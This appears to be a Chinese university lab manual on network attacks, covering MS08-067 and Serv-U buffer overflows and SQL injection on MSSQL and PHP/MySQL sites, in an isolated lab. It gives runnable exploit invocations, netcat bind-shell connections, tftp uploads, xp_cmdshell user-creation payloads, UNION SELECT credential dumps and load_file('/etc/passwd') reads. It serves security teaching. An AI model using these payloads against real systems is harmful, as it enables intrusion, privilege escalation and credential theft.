




版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
目录1.服务器溢出攻击 11.1.基于MS08067漏洞远程溢出 11.2.基于Serv-U漏洞的远程溢出 62.SQL注入攻击 102.1.针对MSSQL环境的SQL注入攻击 102.2.针对PHP和MySQL环境的SQL注入攻击 183.口令破解攻击 263.1.网络服务口令远程破解 263.2.Windows系统口令本地破解 313.3.Unix系统口令本地破解 374.远程控制和后门攻击 444.1.用户态正向远程控制 444.2.用户态反向远程控制 544.3.Windows系统的Webshell后门 634.4.Unix系统的Webshell后门 805. 数据库SQL注入防御 895.1.SQL通用防注入系统的部署 896. 数据截获攻击防御 966.1.ARP攻击防御的设置 961.服务器溢出攻击1.1.基于MS08067漏洞远程溢出[实验目的]掌握通过MS08067RPC漏洞远程溢出Windows主机获取系统权限的技术方法。掌握Netcat工具的使用方法。掌握通过tftp传输文件的使用方法。[实验内容]利用MS08067RPC漏洞,远程溢出Windows主机,获得目标主机的命令提示符(CMDShell),能够以系统权限远程执行命令。溢出成功获取远程CMDShel之后,验证所获得的权限,并获取远程主机的敏感信息。通过远程CMDShell,上传二进制文件。[实验环境]学生实验主机:Windows2000/XP/Server2003。实验目标服务器:WindowsWorkstationD。网络环境:局域网。[实验原理]MS08-067漏洞的全称为“WindowsServer服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的RPC请求,则该漏洞可能允许远程执行代码。MS08-067漏洞影响除WindowsServer2008Core/7以外的所有Windows系统,包括Windows2000/XP/Server2003/Vista/Server2008的各个版本。MS08-067漏洞原理Windows系统中的netapi32.dll!NetpwPathCanonicalize在解析路径名时存在堆栈上溢的漏洞,攻击者可以传入精心构造的路径参数来覆盖掉函数的返回地址,从而执行远程代码。攻击者可以通过RPC发起请求,该请求的处理在svchost.exe中实现,导致svchost.exe发生远程溢出。
下面以5.1.2600.2180版本为例分析该漏洞的成因:.text:5B86A259NetpwPathCanonicalizeprocnear.text:5B86A2AF pushedi ;int.text:5B86A2B0 push [ebp+arg_8] ;int.text:5B86A2B3 mov [esi],di.text:5B86A2B6 pushesi ;int.text:5B86A2B7 push [ebp+pPolicyChain] ;pathname.text:5B86A2BA pushebx ;int.text:5B86A2BB call CanonicalizePathName.text:5B86A2C0 cmpeax,edi.text:5B86A2C2 jnz short@@Return.text:5B86A2D2NetpwPathCanonicalizeendp.text:5B86A2E0CanonicalizePathNameprocnear.text:5B86A37D pusheax ;str.text:5B86A37E call DoCanonicalizePathName.text:5B86A383 testeax,eax.text:5B86A385 jz short@@Return_0x7B.text:5B86A3C7CanonicalizePathNameendpNetapi32.dll!NetpwPathCanonicalize函数通过内部函数CanonicalizePathName来处理传入的路径。该函数又调用内部函数DoCanonicalizePathName来实现真正的处理过程,该漏洞的溢出点则是出现在DoCanonicalizePathName函数中:该函数首先把路径中的’/’全部转成’\’,然后试图修改传入的路径缓冲区来得到相对路径。比如:.\\abc\123\..\a\..\b\.\c将被处理成:\abc\b\c该函数在处理相对路径时,使用两个指针分别保存前一个斜杠(后面用’\’表示)和当前’\’的指针,如下所示:\abc\a\..\b^^|||+当前’\’指针(后文表示为CurrentSlash)+前一个’\’指针(后文表示为PrevSlash)当该函数扫描到’..\’时,会把CurrentSlash开始的数据复制到PrevSlash开始的内存空间处,然后(!漏洞就在这里!)从当前的PrevSlash指针减1的位置开始向前(低地址处)搜索’\’来重新定位PrevSlash,搜索截止条件为PrevSlash等于路径缓冲区的起始地址。下面是该函数的处理过程:.text:5B87879C@@LoopSearchSlash:.text:5B87879C mov [ebp+PrevSlash],edi.text:5B87879F movesi,edi.text:5B8787A1 lea eax,[edi-2].text:5B8787A4 jmpshort@@IsSlash?.text:5B8787A6.text:5B8787A6@@LoopSearchBack:.text:5B8787A6 cmpeax,[ebp+BufferStart].text:5B8787A9 jz short@@EndOfSearch.text:5B8787AB deceax.text:5B8787AC deceax.text:5B8787AD.text:5B8787AD@@IsSlash?:.text:5B8787AD cmpwordptr[eax],'\'.text:5B8787B1 jnz short@@LoopSearchBack.text:5B8787B3.text:5B8787B3@@EndOfSearch:考虑下面的情况:\..\a^^| || +CurrentSlash+PrevSlash当完成对’..\’的替换后,缓冲区的内容为:’\a’。这时,按照该函数的算法,把PrevSlash减1并开始向前搜索’\’,此时PrevSlash已经向前越过了路径缓冲区的起始地址,所以该函数的截止条件失效,导致该函数会一直向堆栈的低地址空间搜索(上溢出)。如果在低地址处正好搜到一个’\’,则会把CurrentSlash之后的数据复制到堆栈中’\’开始的地方,并覆盖掉堆栈中的正常数据。攻击者可以通过传入精心构造的路径数据来覆盖掉函数的返回地址来执行代码。[实验过程]1.使用telnet.exe或者nc.exe(网络瑞士军刀netcat程序)连接目标工作站主机(即WindowsWorkstationD,IP地址为04)的RPC相关端口,如139、445等,确认目标主机的RPC服务工作正常。telnet04445或者nc044452. 打开一个“命令提示符”,进入实验工具目录,运行ms08067_exp.exe,查看可用参数。从图中可以看出,“ms08067_exp.exe”只提供“正向连接型”溢出攻击方式:ms08067_exp.exe<目标主机IP地址>3. 再次运行ms08067_exp.exe,加入目标主机IP地址参数,实施溢出:ms08067_exp.exe04其中04为目标主机IP地址。4. 进入实验工具目录,使用nc.exe去尝试连接目标主机的“4444”端口:nc.exe044444如果前面溢出成功,那么就能够连接成功,在nc的命令提示符窗口中就会获得如下图所示的CMDShell。5. 在CMDShell中进行如下一些操作:运行“ver”命令来查看远程主机的操作系统版本信息。运行“ipconfig/all”命令来查看远程主机的网络地址信息。运行“hostname”命令来查看远程主机的主机名称。请将所有获得的信息写入实验报告。由于WindowsXP系统中默认没有“whoami.exe”程序(该工具能够查看当前对应的用户是谁,因此能够判断拥有什么样的权限)。因此我们需要上传我们本地的“whoami”程序。6. 进入实验工具目录,运行tftpd32.exe程序,在本地开启一个tftp的后台服务程序。在“ServerAddress”下拉框中选择“”这个IP地址,(即VMwareNetworkAdapterVMnet8分配的地址)。此外,在“BaseDirectory”文本框中可以看到TFTP服务的根目录,默认为tftpd32.exe所在的目录,需保证要上传到目标主机的whoami.exe也在同一根目录中。7. 回到前面远程溢出并连接上获得的CMDShell,输入“tftp”指令回车运行,查看可用参数。从图中可以看出tftp的参数含义:-i可选项。采用二进制模式传输文件,如在传输可执行文件时需要。Host指定TFTP服务器地址。GET从TFTP服务器下载文件。PUT向TFTP服务器上传文件。source指定要被传输的文件,即文件的源地址。destination可选项。指定向哪里传输文件,即文件的目的地址。默认为TFTP服务的根目录。8. 在CMDShell,输入如下指令从本地主机上下载文件(对于本地主机来说就是向目标主机上传文件)。tftp-iGETwhoami.exe此时,在本地主机的TFTP服务窗口界面可以看到已经将whoami.exe文件顺利传送到04去了:9. 在CMDShell中进行如下一些操作:运行“dirwhoami.exe”命令来查看是否传送whoami.exe文件成功。运行“whoami”命令查看溢出之后所获得的权限。请将所有获得的信息写入实验报告。10.查阅网络资料,研究在远程溢出的CMDShell中除了通过tftp之外还可以通过哪些方法上传文件到目标主机。请将各种技术方法及实现细节写入实验报告。1.2.基于Serv-U漏洞的远程溢出[实验目的]掌握远程溢出Serv-UFTP服务器获取系统权限的技术方法。[实验内容]利用Serv-UMDTMTimeZone栈溢出漏洞,在已知登录用户名和密码的条件下,远程溢出Serv-UFTP服务器,获得目标服务器的命令提示符(CMDShell),能够以系统权限远程执行命令。溢出成功获取远程CMDShell之后,验证所获得的权限,并获取远程主机的敏感信息。[实验环境]学生实验主机:Windows2000/XP/Server2003。实验目标服务器:WindowsServerA。网络环境:局域网。[实验原理]现在很多企业都将自己的网站建立在互联网上,日常有专门的维护人员进行维护。很多时候对网站的更新不可能直接在服务器上操作,而是将更新的网页页面通过FTP工具上传到服务器上来实现。因此,必须在服务器上搭建一个FTP系统。一般来说,Windows系统自带的IISFTP服务使用很不方便,对FTP用户采用不易管理的集成系统方式进行认证,因此使用的人较少。在众多的第三方FTP服务软件中,Serv-U是一个非常热门的软件,由于功能强大、设置简单、性能稳定而被广泛使用。它提供的设置包括:用户密码、权限指派、IP登录限制、断点续传、带宽限定等。但是,Serv-U却曾经出现过若干个非常严重的远程缓冲区溢出漏洞。我们来看其中一个“Serv-U服务器MDTM指令远程溢出区漏洞缺陷”。该漏洞受影响的Serv-U版本包括:RhinoSoftServ-U5.0RhinoSoftServ-U4.xRhinoSoftServ-U3.xRhinoSoftServ-U2.x该漏洞描述如下:Serv-U在处理“MDTM”命令的参数时缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对FTP服务程序进行缓冲区溢出攻击,可能以FTP进程权限在系统上执行任意指令。Serv-U提供FTP命令“MDTM”用于用户更改文件时间,当用户成功登录系统,并发送畸形超长的时区数据作为命令参数,可触发缓冲区溢出,精心构建参数数据可能以FTP进程权限在系统上执行任意指令。利用此漏洞需要用户拥有合法帐户登录到系统,但不需要写及其他权限。Serv-UMDTM漏洞利用原理Windows提供了一种在每个线程之间独立的异常处理方法-SEH(StructuredExceptionHandling,结构化异常处理)。SEH允许在发生紧急情况(例如内存访问错误)时,由应用程序获取控制权并自主处理,无需操作系统干预。在大部分情况下,指向结构化异常处理程序的指针都保存在栈的SEH帧中,每个SHE记录都是一个EXCEPTION_REGISTRATION结构,大小为8个字节:指向下一个SEH记录的指针异常处理程序地址 这样一来,基于帧的异常处理程序就相互连接成一个链表,如下图所示:指向下一个SEH记录的指针异常处理程序地址……指向下一个SEH记录的指针异常处理程序地址……Win32进程里的每个线程在创建之初至少有一个异常处理程序。每个线程的第一个EXCEPTION_REGISTRATION结构的地址可以在环境块(用汇编格式表示是FS:[0])中找到。异常发生后,系统将遍历整个异常处理程序链表,直至找到恰当的处理程序(能迅速处理异常)为止。Serv-UMDTM漏洞利用的具体原理就是通过对溢出过程进行分析,确定溢出时的处理程序,它的SEH在栈上的位置,然后用包含Shellcode地址的指针改写处理程序的地址,获得控制权。至于如何改写指向处理程序的指针,执行缓冲区中的代码:在没打补丁的Windows2K/XP上,EBX寄存器指向当前的EXCEPTION_REGISTRATION结构,也就是指向我们正要改写的结构。因而,我们可以用指向jmpebx或callebx指令地址的指针,改写指向真正异常处理程序的指针。这样,当执行“处理程序”时,会陷入我们改写的EXCEPTION_REGISTRATION结构。修改后的EXCEPTION_REGISTRATION结构如下图所示:然而,在Windows2003和WindowsXPSP1及更新版本的系统上就不是这样了。EBX不再指向EXCEPTION_REGISTRATION结构。但是在调用异常处理程序之后立即检查栈,发现:ESP=SavedReturnAddressESP+4=PointertotypeofexceptionESP+8=AddressofEXCEPTION_REGISTRATIONstructure于是,我们可以用指向一段执行如下指令的代码的地址改写异常处理程序的地址:popregpopregret每条POP指令执行后ESP减4,所以当执行RET时,ESP正好指向用户提交的数据。RET取走栈顶的地址ESP),并把执行流程返回那里。修改后的EXCEPTION_REGISTRATION结构如下图所示:[实验过程]1. 使用匿名用户(用户名为ftp,密码为ftp)访问目标Serv-UFTP服务器,即WindowsServerA,IP地址为01,确认FTP服务器及登录用户名和密码正常。2. 打开一个“命令提示符”,进入实验工具目录,运行sv.exe,查看可用参数。从图中可以看出,利用sv.exe攻击远程Serv-U服务器存在MDTM指令远程缓冲区溢出漏洞计算机方式由3种:sv.exe<目标Serv-U服务器IP地址><Serv-U服务器端口><FTP登录用户名><FTP登录密码> 这一般称之为“正向连接型”溢出。sv.exe<目标Serv-U服务器IP地址><Serv-U服务器端口><FTP登录用户名><FTP登录密码> <让Serv-U服务器下载程序并执行的网页链接地址>这一般称之为“下载执行型”溢出。sv.exe<目标Serv-U服务器IP地址><Serv-U服务器端口><FTP登录用户名><FTP登录密码> <本地计算机IP地址><本地监听端口>这一般称之为“反向连接型”溢出。3、我们使用sv.exe的第一种方式(正向连接型):运行如下带参数的sv.exe实施溢出:sv.exe0121ftpftp其中01为目标服务器IP地址;21为目标服务器监听端口;ftp和ftp分别为登录用户名和密码。溢出之后,会提示你尝试去其连接目标主机的“8111”端口,看是否能够获得一个绑定在该端口上的系统CommandShell。4.进入实验工具目录,使用nc.exe(网络瑞士军刀netcat程序)去尝试连接目标主机的“8111”端口:nc.exe018111如果前面溢出成功,那么就能够连接成功,在nc的命令提示符窗口中就会获得如下图所示的CMDShell。5. 在CMDShell中进行如下一些操作:运行“ver”命令来查看远程主机的操作系统版本信息。运行“ipconfig/all”命令来查看远程主机的网络地址信息。运行“hostname”命令来查看远程主机的主机名称。运行“whoami”命令查看溢出之后所获得的权限。请将所有获得的信息写入实验报告。请查阅有关资料,在命令行Shell下运行若干命令后获得远程主机上的如下信息:所有用户列表。管理员组用户列表。Administrator用户的详细信息。系统运行服务的信息。端口连接状况(包括监听端口)。请将所有获得的信息写入实验报告。试分析在该远程CmdShell中还可以执行什么操作,认识缓冲区溢出的强大攻击性和危害。请将心得体会写入实验报告。
2.SQL注入攻击2.1.针对MSSQL环境的SQL注入攻击[实验目的]掌握针对ASP/ASPX+MSSSQL环境的SQL注入攻击手段。理解SQL注入的危害性以及防范SQL注入攻击的必要性。[实验内容]探测Web服务器网页的SQL注入点。学会使用Pangolin工具实施SQL注入攻击。通过SQL注入来查看数据库及操作系统的敏感信息。通过SQL注入来查看数据库的库、表、字段及数据内容。通过SQL注入来列举操作系统上的文件目录结构。通过SQL注入来运行系统命令。[实验环境]学生实验主机:Windows2000/XP/Server2003。实验目标服务器:WindowsServerA。网络环境:局域网。[实验原理]随着B/S(Browser/Server,浏览器/服务器)模式应用开发的发展,使用B/S模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。攻击者可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,绕过登录验证,甚至执行系统命令、上传后门文件等,这就是所谓的SQLInjection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以常见防火墙都不会对SQL注入发出警报,如果管理员没有查看网站日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,因此需要根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。一般来说,SQL注入一般存在于形如:http://xxx.xxx.xxx/abc.asp?id=XX等带有参数的ASP动态网页中,有时一个动态网页中可能只有一个参数,有时可能有多个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。探测Web服务器网页的SQL注入点下面,我们从SQL语句的角度来分析SQL注入技术的原理:1、整型参数情况当输入的参数XX为整型时,通常abc.asp中SQL语句原貌大致如下: select*from[表名]where[字段]=XX所以可以用以下步骤测试SQL注入是否存在:①http://xxx.xxx.xxx/abc.asp?p=XX'此时abc.asp中的SQL语句变成了select*from[表名]where[字段]=XX'abc.asp运行异常;②http://xxx.xxx.xxx/abc.asp?p=XXand1=1此时abc.asp中的SQL语句变成了select*from[表名]where[字段]=XXand1=1abc.asp运行正常,而且与http://xxx.xxx.xxx/abc.asp?p=XX运行结果相同;③http://xxx.xxx.xxx/abc.asp?p=XXand1=2此时abc.asp中的SQL语句变成了select*from[表名]where[字段]=XXand1=2abc.asp运行异常。2、字符串型参数情况当输入的参数XX为字符串时,通常abc.asp中SQL语句原貌大致如下: select*from[表名]where[字段]='XX'所以可以用以下步骤测试SQL注入是否存在:①http://xxx.xxx.xxx/abc.asp?p=XX'此时abc.asp中的SQL语句变成了select*from[表名]where[字段]='XX''abc.asp运行异常;②http://xxx.xxx.xxx/abc.asp?p=XX'and'1'='1此时abc.asp中的SQL语句变成了select*from[表名]where[字段]='XX'and'1'='1'abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=XX运行结果相同;③http://xxx.xxx.xxx/abc.asp?p=XX'and‘1'='2此时abc.asp中的SQL语句变成了select*from[表名]where[字段]='XX'and'1'='2'abc.asp运行异常。查看数据库及操作系统的敏感信息一般来说,与IIS+ASP搭配的后台数据库服务器中,ACCESS与MSSQLServer是最常用的。尽管它们都支持T-SQL标准,但还有不同之处,而且不同的数据库有不同的攻击方法,必须要区别对待。MSSQLServer有user、db_name()、@@version、host_name()等内置的系统变量,利用这些系统值不仅可以判断MSSQLServer,而且还可以得到大量有用信息。而Access则没有这些系统变量。默认情况下,IIS服务器的“脚本错误的错误消息”设置为“向客户端发送详细的ASP错误消息”,如下图所示:并且MSSQLServer也返回错误提示的话,那我们就可以直接从网页的出错信息中获取这些信息。如:/news.asp?id=1anduser>0这句语句很简单,但却包含了MSSQLServer特有注入方法的精髓。让我们来看看它的含义:首先,前面的语句是正常的,重点在anduser>0,我们知道,user是MSSQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。把一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型。当然,转换的过程中肯定会出错,MSSQLServer的出错提示是:这里,“dbo”正是变量user的值。这样,数据库的用户名就很容易拿到了。同样的,利用MSSQLServer中user、db_name()、@@version、host_name()等内置的系统变量,就可以得到大量有用信息。查看数据库的库、表、字段及数据内容遍历数据库名称在MSSQLServer数据库中,有一个内置的系统表:[master]..[sysdatabases],里面存放了所有的数据库名称。我们所需要做的就是,构造网页链接访问网站,循环遍历[master]..[sysdatabases]表,通过IIS错误回显,将存储在该表中的数据库名称逐个展现在我们面前。遍历数据表名称在MSSQLServer数据库中,每个数据库都有一个内置的系统表:[DBNAME]..[sysobjects],里面存放了所有的数据表名称。其中xtype字段表明了数据表的类型,值为’U’(Ascii值等于85)的数据表为用户创建的。我们所需要做的就是,构造网页链接访问网站,循环遍历[DBNAME]..[sysobjects]表,通过IIS错误回显,将存储在该表中的数据表名称逐个展现在我们面前。遍历数据表字段名称在MSSQLServer数据库中,每个数据库都有一个内置的系统表:[DBNAME]..[syscolumns],里面存放了所有的数据字段名称。其中id字段表明了该数据字段属于哪个数据表。我们所需要做的就是,构造网页链接访问网站,循环遍历[DBNAME]..[syscolumns]表,通过IIS错误回显,将存储在该表中的数据字段名称逐个展现在我们面前。遍历数据表内容与前类似,我们所需要做的就是,构造网页链接访问网站,循环遍历[DBNAME]..[TABLENAME]表,通过IIS错误回显,将存储在该表中的所有内容逐个展现在我们面前。列举操作系统上的文件目录结构为了列举操作系统磁盘中某一目录的详细结构,包括其中的所有子目录和文件,我们可以利用一个MSSQL数据库的扩展存储过程:xp_dirtree。比如,我们可以构造如下网页链接语句:/news.asp?id=1;DROPTABLETempTable;CREATETABLETempTable([subdirectory]varchar(256)NULL,[depth]tinyintNULL,[file]bitNULL);INSERTTempTableexecmaster..xp_dirtreec:\",1,1;--执行的产物是创建了一个临时表TempTable,在该表中存放了xp_dirtree扩展存储过程的执行结果,即C盘驱动器目录(或者其他磁盘驱动器)中所有的子目录和文件。通过SQL注入来运行系统命令在MSSQL数据库服务器所支持的SQL语言中,字符“;”(分号)用于分割多条SQL语句;而字符串“--”表示跟在后面的内容为注释,不将被执行。同样,假设某网站的一个网页地址为:/news.asp?id=1当我们构造如下网页链接语句的时候:/news.asp?id=1;execxp_cmdshell"netusereric/add";--递交给MSSQL数据库的执行内容为:select*fromnewswhereid=1;execxp_cmdshell"netusereric/add";--这样,数据库将会顺序执行两条SQL指令:1) select*fromnewswhereid=12) execxp_cmdshell"netusereric/add"第一条指令将会使得网页顺利返回正常的查询结果;而第二条将使得我们能够执行系统命令,向系统中添加一个名为eric的用户(其实可以是其他各种SQL语句,包括存储过程、扩展存储过程等所有SQL语句)。这是因为我们这里调用的xp_cmdshell是MSSQL数据库中非常重要的一项扩展存储过程,能够使得数据库以SYSTEM权限执行操作系统本身的命令(cmd.exe)。[实验过程]1.在本地主机上通过InternetExplorer等Web浏览器访问目标Web服务器(即WindowsServerA,IP地址为01)的主页。01/点击其中的某一新闻链接后即访问显示出具体的某一新闻内容。比如01/news.aspx?id=12.在访问的网页URL地址后加上一个单引号(')继续访问,即01/news.aspx?id=1',如下图所示:从图中可以看到数据库连接出错消息中可以看到如下错误消息“字符串''之前有未闭合的引号。”,也就是单引号没有闭合的意思。3.继续手动测试SQL注入是否存在:访问如下网页URL地址:01/news.aspx?id=1and1=1以及01/news.aspx?id=1and1=2其中访问第一个网页地址的情况与正常情况相同,而访问第二个网页地址则一片空白,即新闻文档不存在的意思。4.进入实验工具目录,双击运行Pangolin程序(pangolin.exe),在注入地址“URL”输入框中输入01/news.aspx?id=1然后点击工具栏中的按钮开始自动检测SQL注入漏洞情况。从检测结果中可以看到,该网站的SQL注入类型为“Integer(字符型)”,后台数据库类型为“MSSQLwithError”。Panglin能够自动检测网页的关键字符串(KeyWord),即网页能否正常显示以及不能正常显示的差异内容。这可以通过“Edit”→“Settings”→“Advance”中的”Auto-analyzingkeyword”选项进行设置。5.在主界面中的“Information”选项卡中,点击“SelectAll”按钮选择所有信息类型,包括下面所列举的“Version”、“DbName”、“ServerName”等,然后点击“Go”按钮开始探测目标服务器的基本信息。请将基本信息的探测结果写入实验报告。6.在主界面中选择“Data”选项卡,点击左下方的“Tables”按钮来枚举目标当前数据库中存在的所有数据表的名称。7.点击选择数据库中的“admin”表,然后点击下方的“Columns”按钮来枚举该数据表中所有的数据列名。展开“admin”表前面的“+”号可以查看详细的列名信息。8.勾选感兴趣的数据表以及其中的数据列,如admin表中的id、username以及password列,然后点击右侧的“Datas”按钮则可以枚举该表中的所有数据项内容。在这里,我们还可以通过自定义查询条件来自定义查询所感兴趣的数据内容,默认为“1=1”表示所有的数据内容。比如我们可以输入:usernamelike'%admin%'请将当前数据库中[admin]、[news]表的结构以及数据内容,全部写入实验报告。
9.在主界面中选择“Command”选项卡,然后在“Command”输入框中输入要在目标服务器上执行的系统命令,比如“ipconfig”等;在“Type”下拉框中选择执行命令的技术方法,默认为“xp_cmdshell”,其他可选的主要方法有“sp_oa***”等。最后点击右侧的“Execute”按钮执行命令,可在下方的黑色文本框中看到执行结果。请将执行“netuser”命令的结果写入实验报告。10.选择“type”为“sp_oa***”,尝试执行添加用户的命令操作,然后查看是否也能够成功。查阅网络资料,研究通过“sp_oa***”方法执行系统命令这个方法的技术原理。请将研究分析的心得体会写入实验报告。11.在主界面中选择“DirTree”选项卡,然后点击“Drivers”按钮列举目标服务器上的所有驱动器。双击“C:\”节点可以进一步展开获得C:\根目录下的所有子目录和文件,依次可以获得磁盘上的目录结构。12.双击某一文件,可以在右侧的文本框中显示文件的详细内容。13.仔细查看“C:\inetpub\wwwroot”目录中的网站文件,获得连接后台MSSQL数据库的账号和密码。请将查看后的分析结果写入实验报告。2.2.针对PHP和MySQL环境的SQL注入攻击[实验目的]掌握针对PHP+MySQL环境的SQL注入攻击手段。理解SQL注入的危害性以及防范SQL注入攻击的必要性。[实验内容]探测Web服务器网页的SQL注入点。学会使用Casi工具实施SQL注入攻击。通过SQL注入来查看数据库及操作系统的敏感信息。通过SQL注入来查看数据库的库、表、字段及数据内容。通过SQL注入来读取列举操作系统上的文件内容。[实验环境]学生实验主机:Windows2000/XP/Server2003。实验目标服务器:LinuxServerC。网络环境:局域网。[实验原理]随着B/S(Browser/Server,浏览器/服务器)模式应用开发的发展,使用B/S模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。攻击者可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,绕过登录验证,甚至执行系统命令、上传后门文件等,这就是所谓的SQLInjection,即SQL注入。SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以常见防火墙都不会对SQL注入发出警报,如果管理员没有查看网站日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,因此需要根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据。随着B/S(Browser/Server,浏览器/服务器)模式应用开发的发展,使用B/S模式编写。我们以经典的“夜猫下载系统”作为PHP注入的示例。存在问题(数字型注入)的网站脚本示例为“ymdown/show.php”,存在漏洞的关键代码如下:require("./include/config.inc.php");require("./global.php");mysql_connect($dbhost,$dbuser,$dbpasswd)ordie("数据库连接失败");$downid="down".$down;$sql="SELECT*FROM$down_tableWHEREid=$id";$result=mysql_db_query($dbname,$sql);$obj=mysql_fetch_object($result);…正常访问这是正常访问时候的页面:http://[serverhost]/ymdown/show.php?id=1添加单引号访问我们在后面添加一个“单引号”,如下所示:http://[serverhost]/ymdown/show.php?id=1'"1=11=2"注入漏洞判别http://[serverhost]/ymdown/show.php?id=1and1=1页面正常显示。http://[serverhost]/ymdown/show.php?id=1and1=2页面如下所示:获取该数据表的字段数http://[serverhost]/ymdown/show.php?id=1unionselect1http://[serverhost]/ymdown/show.php?id=1unionselect1,2…http://[serverhost]/ymdown/show.php?id=1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18显示出错结果如下图所示:http://[serverhost]/ymdown/show.php?id=1andunionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19显示正常结果如下图所示:获取数据库信息获取数据库版本信息http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,version(),13,14,15,16,17,18,19获取数据库连接用户名称http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,user(),13,14,15,16,17,18,19获取数据库名称http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,database(),13,14,15,16,17,18,19猜测数据库表名,数据库表字段猜测数据库表名http://[serverhost]/ymdown/show.php?id=1and1=1unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19from[TABLENAME]猜测数据库表字段http://[serverhost]/ymdown/show.php?id=1and1=1unionselect[COLUMNNAME],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19from[TABLENAME]查询数据库表内容http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,[COLUMNNAME1],3,4,5,6,7,8,9,10,11,[COLUMNNAME2],13,14,15,16,17,18,19from[TABLENAME]whereid=1[注]:可以指定数据库的查询条件,只需替换"WHEREid=1"中的"id=1"即可。http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,username,3,4,5,6,7,8,9,10,11,password,13,14,15,16,17,18,19fromymdown_userwhereid=1结果如下图所示:读取文本文件内容http://[serverhost]/ymdown/show.php?id=1and1=2unionselect1,2,3,4,5,6,7,8,9,10,11,load_file('/etc/passwd'),13,14,15,16,17,18,19[实验过程]在本地主机上通过InternetExplorer等Web浏览器访问目标Web服务器(即LinuxServerC,IP地址为03)的如下页面。03/ymdown/如下图所示
然后点击其中任意一个软件的链接,比如03/ymdown/show.php?id=1”。如下图所示:2.在访问的网页URL地址后加上一个单引号(')继续访问,即03/ymdown/show.php?id=1',如下图所示:从图中可以看到mysql_fetch_array出错消息,而且还暴露了网页源文件路径“/usr/local/apache/htdocs/ymdown/global.php”3、继续手动测试SQL注入是否存在:访问如下网页URL地址:03/ymdown/show.php?id=1and1=1以及03/ymdown/show.php?id=1and1=2其中访问第一个网页地址的情况与正常情况相同,而访问第二个网页地址则无法正常显示。4、进入实验工具目录,双击运行Casi程序(Casi4.exe),在“注入地址”输入03/ymdown/show.php?id=1程序的主界面如下图所示:5. 点击“ScanNum”按钮,Casi会探测出数据表的列数。如下图所示:从Casi的探测进度中的最后一行:11/ymdown/show.php?id=1%20and%201=2%20union%20select%2051,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2,1/*中可以看出,该示例的ymdown表的列数为19。而且,从下方的浏览器显示页面中可以看出,显示为"18"以及"8"的地方本应显示出软件的名称和描述,属于"字符串"类型的数据,适合后面用来显示数据库敏感信息的选择字段。6. 点击“UnionSelect”按钮,Casi会弹出一个“Select”对话框。如下图所示:我们在"No.1Position"输入框中输入"18",后面的"FieldName"输入框中保留为"username";在"No.2Position"输入框中处输入"8",后面的"FieldName"输入框中保留为"password"。在"From"输入框中输入欲查看数据所在表的名称为"ymdown_user"。点击"OK"按钮即可在下方显示的浏览器页面中将"id=1"的数据表内容在原来显示"18"和"8"的地方显示出来。如下图所示:更改"Where"输入框中的"id=1"为"id=2","id=3"…等,即可显示ymdown_user表中第2,3…项的数据内容。请将“ymdown_user”表的所有数据内容全部写入实验报告。此外,查阅网络资料,考虑如果不知道表中用户的id为何值的时候,我们该如何构造数据库SQL注入语句来获得表中的数据。请将研究分析的心得体会写入实验报告。7.点击“Load_file()”按钮,Casi会弹出一个“LoadFile”对话框。如下图所示:在"Position"输入框中输入"8",即本应显示软件描述的位置(因为可以显示最多的字符串内容);在"substring"中输入0和255;在"FilePath"输入框中输入要读取的文件路径,如Unix/Linux系统的用户文件"/etc/passwd"。点击"OK"按钮,Casi将会弹出一个如下图所示的对话框。在该对话框的文本框中包含了/etc/passwd文件的部分内容(内容的多少取决于本来该表段的最大长度以及我们所设置的"substring"值)。请将目标主机上“/etc/passwd”文件的完整内容写入实验报告。
